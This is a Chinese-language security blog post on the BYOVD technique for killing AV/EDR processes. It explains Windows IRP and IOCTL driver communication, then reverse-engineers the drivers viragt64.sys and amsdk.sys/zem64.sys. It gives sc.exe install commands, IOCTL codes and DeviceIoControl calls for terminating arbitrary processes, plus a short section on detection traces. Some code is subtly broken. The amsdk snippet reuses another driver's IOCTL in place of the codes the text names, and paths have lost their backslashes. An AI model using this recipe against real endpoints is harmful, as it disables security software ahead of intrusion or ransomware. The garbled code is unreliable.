Windows | AV/EDR对抗之BYOVD技术

admin 2024年5月1日15:40:38评论7 views字数 7561阅读25分12秒阅读模式

BYOVD为Bring Your Own Vulnerable Driver缩写,该缩写为业内共识,解释为向目标环境植入一个带有漏洞的合法驱动程序,利用驱动漏洞获得内核权限,实现任意代码执行或终止任意高权限进程等攻击。

本文主要介绍BYOVD攻击场景、内核驱动通信方式、如何挖掘具备潜在的BYOVD利用条件的驱动程序以及BYOVD利用痕迹

1. BYOVD攻击场景

通常在BYOVD攻击场景下,攻击者往往会直接杀掉终端安全软件(AV/EDR)核心进程,之后不受阻碍地开展任何恶意活动。

BYOVD技术最初主要被APT组织所使用,如Turla、方程式等,随着BYOVD开源项目,例如,KDU、Blackout、Mhyprot2DrvControl等项目,以及LOLDrivers项目记录着可供攻击者利用的合法驱动程序,攻击成本逐渐降低。

该项技术正广泛运用于APT、勒索、黑产等攻击活动中。

除此之外,还存在着一些未被披露的合法驱动程序和签名证书,未知的攻击风险显著增加。

2. 内核驱动通信

内核驱动程序的主要目的是访问仅在内核模式下可访问的数据结构。用户态进程只能使用位于ntdll.dll或win32u.dl的Windows API函数,通过系统调用与内核驱动程序进行通信,访问的内核数据结构。

一次用户态进程与内核驱动通信的过程可以简述为:

用户态进程(app.exe)调用ntdll.dll的Nt*() Windows API  函数,通过系统服务描述符表找到 对应的内核 Nt*()  API 函数地址。

当Windows API函数需要执行I/O操作(网络操作、文件系统操作等)时,函数的内核代码最终将调用I/O Manager,I/O Manager是一组负责与 I/O 操作驱动程序通信的函数(以Io开头的函数,Io*())。

I/O管理器(I/O Manager)目的是创建I/O 请求数据包 (IRP)数据结构,将包含用户态进程调用信息的IRP发送到相关的内核驱动程序(app.sys)。

如果是硬件驱动程序,则还会调用硬件抽象层(Hardware Abstraction Layer)的函数(以 Hal开头的函数,Hal*())与硬件进行通信。

以上内核操作都由内核进程(ntoskrnl.exe)进行管理。

Windows | AV/EDR对抗之BYOVD技术

更多类型的驱动程序,请参考:https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver-

2.1 IRP(I/O 请求数据包)

IRP(I/O 请求数据包)是一种数据结构,由I/O管理器(I/O Manager)创建,用于与驱动程序通信。

部分结构体成员如下:

typedef struct _IRP {  ... ...  union {    struct {      union {        KDEVICE_QUEUE_ENTRY DeviceQueueEntry;        struct {          PVOID DriverContext[4];        };      };      PETHREAD     Thread;      PCHAR        AuxiliaryBuffer;      struct {        LIST_ENTRY ListEntry;        union {          struct _IO_STACK_LOCATION *CurrentStackLocation;          ULONG                     PacketType;        };      };      PFILE_OBJECT OriginalFileObject;    } Overlay;   ... ...} IRP;
我们只关注struct _IO_STACK_LOCATION *CurrentStackLocation结构体内容。
用户态进程可以使用一系列驱动程序,这意味着IRP(I/O请求数据包)可以包含多个IO_STACK_LOCATION。根据一系列驱动程序中的位置,对应IO_STACK_LOCATION会有所不同,对应的位置存储在中*CurrentStackLocation。

2.1.1 _IO_STACK_LOCATION

IO_STACK_LOCATION包含一个巨大的联合体,部分结构成员:

typedef struct _IO_STACK_LOCATION {  UCHAR                  MajorFunction;  UCHAR                  MinorFunction;  UCHAR                  Flags;  UCHAR                  Control;  ... ...    struct {      ULONG                   OutputBufferLength;      ULONG POINTER_ALIGNMENT InputBufferLength;      ULONG POINTER_ALIGNMENT IoControlCode;      PVOID                   Type3InputBuffer;    } DeviceIoControl;} IO_STACK_LOCATION, *PIO_STACK_LOCATION;

我们只关注的MajorFunction和DeviceIoControl成员。

MajorFunction包含IRP主体代码内容,它告诉驱动程序应该执行什么操作。

有以下几种参数:

有以下几种参数:

  • IRP_MJ_CREATE:当NtCreateFile()(从用户模式)或ZwCreateFile()(从内核模式)在驱动程序上调用时。

  • IRP_MJ_CLOSE:当NtClose()(从用户模式)或ZwClose()(从内核模式)在驱动程序上调用时。

  • IRP_MJ_DEVICE_CONTROL:当NtDeviceIoControlFile()(从用户模式)或ZwDeviceIoControlFile()(从内核模式)在驱动程序上调用时。

  • IRP_MJ_READ

  • IRP_MJ_WRITE

  • IRP_MJ_CLEANUP

  • IRP_MJ_FILE_SYSTEM_CONTROL

  • IRP_MJ_FLUSH_BUFFERS

  • IRP_MJ_INTERNAL_DEVICE_CONTROL

  • IRP_MJ_PNP

  • IRP_MJ_POWER

  • IRP_MJ_QUERY_INFORMATION

  • IRP_MJ_SET_INFORMATION

  • IRP_MJ_SHUTDOWN

  • IRP_MJ_SYSTEM_CONTROL

对我们来说重要参数是:IRP_MJ_DEVICE_CONTROL、IRP_MJ_CREATE、IRP_MJ_CLOSE。

调用NtCreateFile(),NtClose()或者与NtDeviceIoControlFile()等函数与驱动程序交互时,执行的操作相关的值存储IRP构建的MajorFunction结构体成员里。

调用DeviceIoControl()、NtDeviceIoControlFile()或ZwDeviceIoControlFile()时,其函数参数存储在DeviceIoControl结构体中。

DeviceIoControl结构体为:

 struct {      ULONG                   OutputBufferLength;      ULONG POINTER_ALIGNMENT InputBufferLength;      ULONG POINTER_ALIGNMENT IoControlCode;      PVOID                   Type3InputBuffer;    } DeviceIoControl;

DeviceIoControl()函数用于与驱动程序进行通信,其参数为:

  • 通信的驱动程序的句柄

  • IoControlCode(也称为IOCTL)。

IOCTL存储在IRP的IO_STACK_LOCATION联合体的DeviceIoControl结构体成员IoControlCode中。

2.2 IOCTL(I/O 控制代码)

IOCTL(I/O 控制代码)是一个 32 位值,用于标识驱动程序中的特定功能,对于用户模式和驱动程序之间的通信至关重要。

假设内核驱动程序提供终止进程功能的函数,通过DeviceIoControl()函数,传递驱动程序中终止进程函数IOCTL代码以及要终止的进程PID。

IOCTL是由I/O 管理器(I/OManager)在创建IRP期间写入并发送到内核驱动程序的。

然后,驱动程序使用IRP当前IO_STACK_LOCATION字段找出需要执行哪个MajorFunction。如果MajorFunction字段的内容为IRP_MJ_DEVICE_CONTROL ,则将在DeviceIoControl字段中检索IoControlCode代码。

最后,将IRP发送到驱动程序,驱动程序执行与 IOCTL(I/O 控制代码)相关的函数。

整体流程示意图如下:

Windows | AV/EDR对抗之BYOVD技术

IOCTL一般由驱动程序开发人员定义,但有严格规则。

包含4种信息:

  • DeviceType:标识设备类型。在软件驱动程序中,大多数情况下类型是FILE_DEVICE_UNKNOWN(0x22) 或取值范围为0x8000至 0xFFFF。

  • FunctionCode:标识驱动程序中函数的代码。对于同一设备类型是唯一的。取值范围为0x800到0xFFF。

  • TransferType:标识调用者和驱动程序之间如何传递数据。

  • requiredAccess:标识调用者在打开表示设备的文件对象时的访问类型(读、写等)。

Windows | AV/EDR对抗之BYOVD技术

开发时定义 IOCTL 宏:

#define IOCTL_Device_Function CTL_CODE(DeviceType, Function, Method, Access)

其中IOCTL实际的值,经过计算获得:

CTL_CODE = ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

一个声明IOCTL例子:

#define IOCTL_DISK_SET_PARTITION_INFO CTL_CODE(IOCTL_DISK_BASE, 0x008, METHOD_BUFFERED,FILE_READ_DATA | FILE_WRITE_DATA)
2.3 DriverEntry(驱动入口)

DriverEntry()函数是Windows驱动程序的主要函数,是驱动程序加载后第一个调用的函数,其函数的返回值是一个NTSTATUS类型,宏定义在ntstatus.h头文件中。

NTSTATUS DriverEntry(    IN PDRIVER_OBJECT DriverObject,    IN PUNICODE_STRING RegistryPath)

它需要 2 个参数:

  • DriverObject:指向DRIVER_OBJECT结构体指针。

  • RegistryPath:指向驱动程序注册表项路径 Unicode 字符串的指针。

3. BYOVD攻击利用

具备潜在终止任意进程的驱动程序,需要以下几个条件:
  • 导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess)

  • 导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess)

注:并非所有导入Nt/ZwOpenProcess、Nt/ZwTerminateProcess函数的驱动程序都是可被利用的。而且,还有很多方法可以在不使用这些函数的情况下检索进程的句柄或终止它,比如,动态导入函数或通过解析ntdll 导出表(EAT)。
接下来尝试分析潜在的可被用来终止任意进程的驱动程序viragt64.sys和amsdk.sys。

3.1 viragt64.sys

反编译viragt64.sys查找引用ZwTerminateProcess()的函数,ZwOpenProcess()将进程句柄作为参数传递给 ZwTerminateProcess()。

Windows | AV/EDR对抗之BYOVD技术

调用ZwTerminateProcess()时,没有对传入进程名的用户程序作校验操作。

Windows | AV/EDR对抗之BYOVD技术

继续交叉引用,可知IOCTL为0x82730030。

Windows | AV/EDR对抗之BYOVD技术

此函数为Major_Function,主要功能为获取CurrentStackLocation指针,检查IoControlCode以及MajorFunction的值,判断MajorFunction的值是否为14,即值为IRP_MJ_DEVICE_CONTROL时,根据传递的IOCTL执行不同代码。

Windows | AV/EDR对抗之BYOVD技术

在winsdk/wdm.h中定义14(0x0e)为IRP_MJ_DEVICE_CONTROL。

Windows | AV/EDR对抗之BYOVD技术

回溯到最初调用的函数中,可知IoCreateDevice()创建了Viragtlt设备,IoCreateSymbolicLink()创建了设备符号链接。将上述Major_Function函数地址赋值给驱动对象MajorFunction。

Windows | AV/EDR对抗之BYOVD技术

在驱动程序源代码一般这样赋值:

// When a Nt/ZwNtDeviceIoControlFile() is used on this driver the function 'IOCTL_Major_Function' will be executed.DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_Major_Function;

现在,我们已知利用BYOVD终止任意进程的所有条件:

  • 导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess),且执行时未对调用的用户程序进行校验

  • 导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess),且执行时未对调用的用户程序进行校验

  • 驱动名称为viragt64,设备名称为Viragtlt

  • IOCTL为0x82730030

首先,安装易受攻击的驱动程序:

sc.exe create viragt64.sys binPath= C:windowstempviragt64.sys type= kernel && sc.exe start viragt64.sys

然后,检索设备Viragtlt上的句柄:

CreateFileA("\.Viragtlt", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

向目标设备的发送 IOCTLDeviceIoControl,终止进程。

DeviceIoControl(hDevice, 0x82730030, &pid, sizeof(pid), NULL, 0, &lpBytesReturned, NULL);

测试终止目标进程。

Windows | AV/EDR对抗之BYOVD技术

3.2 amsdk.sys

反编译amsdk.sys查找引用ZwTerminateProcess()的函数,ZwOpenProcess()将进程句柄作为参数传递给 ZwTerminateProcess()。

Windows | AV/EDR对抗之BYOVD技术

继续交叉引用,可知结束进程的IOCTL为0x80002048。

Windows | AV/EDR对抗之BYOVD技术

向上回溯,这个驱动程序对传入IOCTL的用户程序进行了校验,如果IOCTL不为0x80002010时,检测是否是已认证的进程,若不是则退出调用过程。

Windows | AV/EDR对抗之BYOVD技术

向下查看,IOCTL为0x80002010时,调用IOCTL_REGISTER_PROCESS对当前进程进行认证注册。

Windows | AV/EDR对抗之BYOVD技术

没有更多特殊校验,当服务初始化完成后,对传入进程名查找进程号,记录到全局结构体中。

Windows | AV/EDR对抗之BYOVD技术

返回DirverEntry函数,可知设备链接名称为amsdk。

Windows | AV/EDR对抗之BYOVD技术

现在,我们已知利用BYOVD技术终止任意进程的所有条件:

  • 导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess)

  • 导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess)

  • 绕过调用终止进程的条件

  • 驱动名称为amsdk,设备名称为amsdk

  • 调用注册进程的IOCTL为0x80002010

  • 调用终止进程的IOCTL为0x80002048

首先,安装易受攻击的驱动程序:

sc.exe create amsdk.sys binPath= C:windowstempamsdk.sys type= kernel && sc.exe start amsdk.sys

然后,检索设备amsdk上的句柄:

CreateFileA("\.amsdk", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

并使用我们的目标的发送 IOCTLDeviceIoControl,先注册认证进程,绕过进程校验,然后调用终止进程

unsigned int pid = GetCurrentProcessId();DeviceIoControl(hDevice, 0x82730030, &pid, sizeof(pid), NULL, 0, &lpBytesReturned, NULL);DeviceIoControl(hDevice, 0x82730030, &pid, sizeof(pid), NULL, 0, &lpBytesReturned, NULL);

测试终止目标进程,发现打开驱动句柄失败。

Windows | AV/EDR对抗之BYOVD技术

查看系统日志,由于amsdk.sys证书被吊销了,系统无法验证证书签名导致服务创建失败 : (

Windows | AV/EDR对抗之BYOVD技术

找到同一个公司开发的具有相同功能的驱动zem64.sys,只是创建的设备名为ZemanaAntiMalware,IOCTL和校验方式一致,利用上述方法进行测试,终止指定进程成功。

Windows | AV/EDR对抗之BYOVD技术

4. BYOVD利用痕迹

大部分BYOVD利用项目,完成功能后退出没有删除创建的链接,可在WinObj.exe中查找可疑的全局设备链接符号:

Windows | AV/EDR对抗之BYOVD技术

以及创建符号链接的时间:

Windows | AV/EDR对抗之BYOVD技术

系统日志可以获得服务创建和启动时间。

Windows | AV/EDR对抗之BYOVD技术

reference

  • https://github.com/xalicex/Killers/tree/main
  • https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver-
  • https://alice.climent-pommeret.red/posts/process-killer-driver/#the-basics
  • https://github.com/h0mbre/ioctl.py
  • https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes
  • https://github.com/microsoft/Windows-driver-samples/blob/main/general/ioctl/wdm/sys/sioctl.c
  • https://github.com/zodiacon/windowskernelprogrammingbook/blob/master/chapter04/PriorityBooster/PriorityBooster.cpp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月1日15:40:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows | AV/EDR对抗之BYOVD技术http://cn-sec.com/archives/2704285.html

发表评论

匿名网友 填写信息